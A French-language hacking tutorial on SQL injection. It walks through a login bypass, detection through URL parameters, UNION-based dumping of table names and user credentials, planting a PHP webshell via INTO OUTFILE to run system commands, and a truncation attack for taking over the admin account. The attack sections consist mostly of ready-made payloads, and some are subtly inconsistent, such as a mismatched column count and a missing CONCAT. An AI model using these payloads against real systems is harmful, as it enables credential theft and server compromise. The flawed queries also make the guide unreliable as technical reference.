Web/Injection SQL

Les Injections SQL sont souvent prises à la légère par les non-initiés, pensant qu'elles ne permettent pas de pénétrer dans un système tout entier, ou même juste sur un site. Ceci est FAUX, ces failles sont très dangereuses, elles permettent d'aller jusqu'à rooter la machine dans les cas les plus extrêmes, permettant alors à l'attaquant d'utiliser la machine pour des activités illicites.

# Authentification

On peut utiliser les injections SQL pour bypass un portail de connexion. Bien que ce soit désormais assez rare, il arrive que des sites soient encore sensibles à cette faille. Dans ce cas, pour découvrir et exploiter une telle faille, nous devrons injecter du SQL directement dans le formulaire de connexion.

Nous ferrons en sorte d'envoyer une proposition qui soit vraie en toute circonstance, le meilleure moyen est donc de passer par le "OU inclusif". Imaginons un scénario où on nous demande un pseudonyme et un mot de passe pour accéder à une page. Nous renseignerons un pseudo que nous choisirons au hasard, auquel nous concaténerons notre SQL. En ce qui concerne le mot de passe, nous en mettrons un au hasard, il n'importe pas. Ce qui donnerait :

````
   Pseudonyme: admin' OR 1=1 --
   Password: 123456

````

Il faut savoir que même si la faille est existante sur la cible, toutes les propositions que nous ferrons, même si elles s'avèrent vraies, ne seront pas toujours la clé du sésame. Il est alors courant de devoir en essayer plusieurs, voire de faire un programme qui exploite ceci avec une liste de proposition de ce style.

# Numérique

Il existe deux types d'injection SQL, celle avec des paramètres numériques et celle avec des paramètres sous forme de chaîne de caractères. Il existe une bonne quantité d'exploiter des failles SQL, quelque soit leur type, le tout étant dépendant du nouveau de sécurité de la cible. Parfois une exploitation basique suffira, et parfois il faudra pousser plus loin. Ici nous allons déjà voir l'exploitation basique.

## Détection

Tout se passe dans l'URL, ainsi dans un premier temps, nous pouvons détecter la présence d'une telle faille de plusieurs manières. La plus facile étant de rajouter une apostrophe à la fin du paramètre qui nous intéresse.

````
   index.php?id=1'

````

Le problème étant que ceci génère des erreurs SQL faciles à cacher. La présence de ces messages d'erreur sont donc univoque, IL Y A une faille. Cependant, si aucun message d'erreur ne s'affiche, on ne peut pas certifier qu'il n'y a pas de faille. Il faudra alors pousser la détection un peu plus. Nous utiliserons alors des calculs mathématiques simples pour déterminer cela.

````
   index.php?id=1+0

````

Nous avons ici deux cas de figure, soit la page s'affiche correctement, et donc le calcul a été effectué, présentant alors la possibilité d'injecter du code. Soit la page correspondant à l'ID 1 n'est pas affiché et c'est la page d'accueil (par exemple) qui est affichée, et nous n'avons donc pas réussi à injecter notre calcul.

## Exploitation

Nous avons donc la certitude que la faille est présente sur notre cible. Il faut donc désormais exploiter ceci. Comme spécifié précédemment nous allons voir une exploitation basique dans un premier temps. Il nous faudra donc déterminer le nombre de colonnes dans la table, nous allons donc jouer à un jeu de devinette avec notre cible. Tout le principe réside dans le fait de trouver le nombre de colonne exact, si nous en avons trop, la page ne s'affichera pas, et si nous n'en avons pas assez ou exactement le bon nombre la page s'affichera normalement.

````
   index.php?id=1 ORDER BY 1 -- // La page s'affiche
   index.php?id=1 ORDER BY 10 -- // Rien
   index.php?id=1 ORDER BY 8 -- // Rien
   index.php?id=1 ORDER BY 5 -- // Rien
   index.php?id=1 ORDER BY 3 -- // La page s'affiche
   index.php?id=1 ORDER BY 4 -- // Rien

````

A 3, la page s'affiche parfaitement, et à 4 elle ne s'affiche plus. Nous pouvons donc affirmer qu'il existe 3 colonnes dans notre table. Nous allons donc maintenant utiliser cette information pour retrouver le nom des tables, ainsi que celui des colonnes. Nous supposerons dans cet exemple que la colonne numéro 2 permet de stocker des éléments s'affichant sur le site, ceci se vérifie facilement puisque l'affichage du site est généralement perturbé dès la première commande, affichant alors clairement les nombres permettant de nous faire parvenir des informations.

````
   index.php?id=1 UNION ALL SELECT 1,2,3 --
   index.php?id=1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.tables -- // Nous aurons ici le nom de toutes les tables présentes dans la base de donnée de notre cible.
   index.php?id=1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.columns -- // Nous aurons maintenant toutes les colonnes !
   index.php?id=1 UNION ALL SELECT 1,(TABLE_NAME,0x3a,COLUMN_NAME) FROM INFORMATION_SCHEMA.columns --

````

Lors de la dernière ligne, nous concaténons les deux informations pour plus de clarté, pour ceci nous utilisons la fonction CONCAT(), et nous stipulons notre séparateur (0x3a = ':'). Maintenant que nous avons nos informations, supposons que la liste ressemble à ceci :

````
   users:user_id
   users:user_type
   users:user_regdate
   users:username
   users:user_password
   users:user_email
   users:user_lastvisit
   users:user_last_confirm_key
   users:user_new_privmsg
   users:logcode
   users:username_clean

````

Ce qui nous intéresse le plus dans le cas d'une exploitation, c'est évidemment de prendre le contrôle, et donc se connecter sur le compte avec les privilèges les plus hauts. Nous allons donc essayer de récupérer les informations.

````
   index.php?id=1 UNION ALL SELECT 1,CONCAT(username,0x3a,user_password),3 FROM users--

````

Bravo ! Vous venez de finir votre première exploitation. Il est fort probable que les mots de passe ne soient pas stockés en clair, mais que ce soit leur hash, il faudra alors passer par des banques de hash pour retrouver le mot de passe. :)

**POUR ALLER PLUS LOIN**

Nous pouvons tenter de placer une backdoor basique en exploitant cette faille. Pour ceci nous allons avoir besoin de créer un fichier PHP qui nous permet d'utiliser un shell. Rien de bien difficile au final.

````
   index.php?id=1 UNION ALL SELECT 1,'<?php system($_GET[cmd]); ?>',2,3 INTO OUTFILE '/var/www/backdoor.php' --

````

Et si vous aviez les droits suffisant en passant par cette faille SQL, alors le fichier sera créé, et vous pourrez alors vous rendre sur *backdoor.php*, et spécifier la commande que vous voulez effectuer à travers le paramètre *cmd*. Une fois tout ceci en place, il ne suffit plus que de faire une augmentation de privilège et vous venez de rooter une machine distante.

# SQL Truncation

Il s'agit d'un problème entre la base de donnée et le formulaire d'inscription du site. Là où le formulaire d'inscription de limite pas la taille du pseudo choisi, la base de données ne prendra en compte que les *n* premiers caractères de celui-ci.

Imaginons que la base de données n'accepte qu'au maximum que 12 caractères pour les pseudo.

Inscrivons-nous :

````
   Pseudo : admin       azerty
   Mot de Passe : password

````

Comme la base de données ne prend que les 12 premiers caractères, nous insérons dans celle-ci le pseudo "admin" puisque les espaces ne sont pas stocké.
Maintenant, connectons-nous :

````
   Pseudo : admin
   Mot de Passe : password

````

Nous sommes connecté en tant qu'administrateur !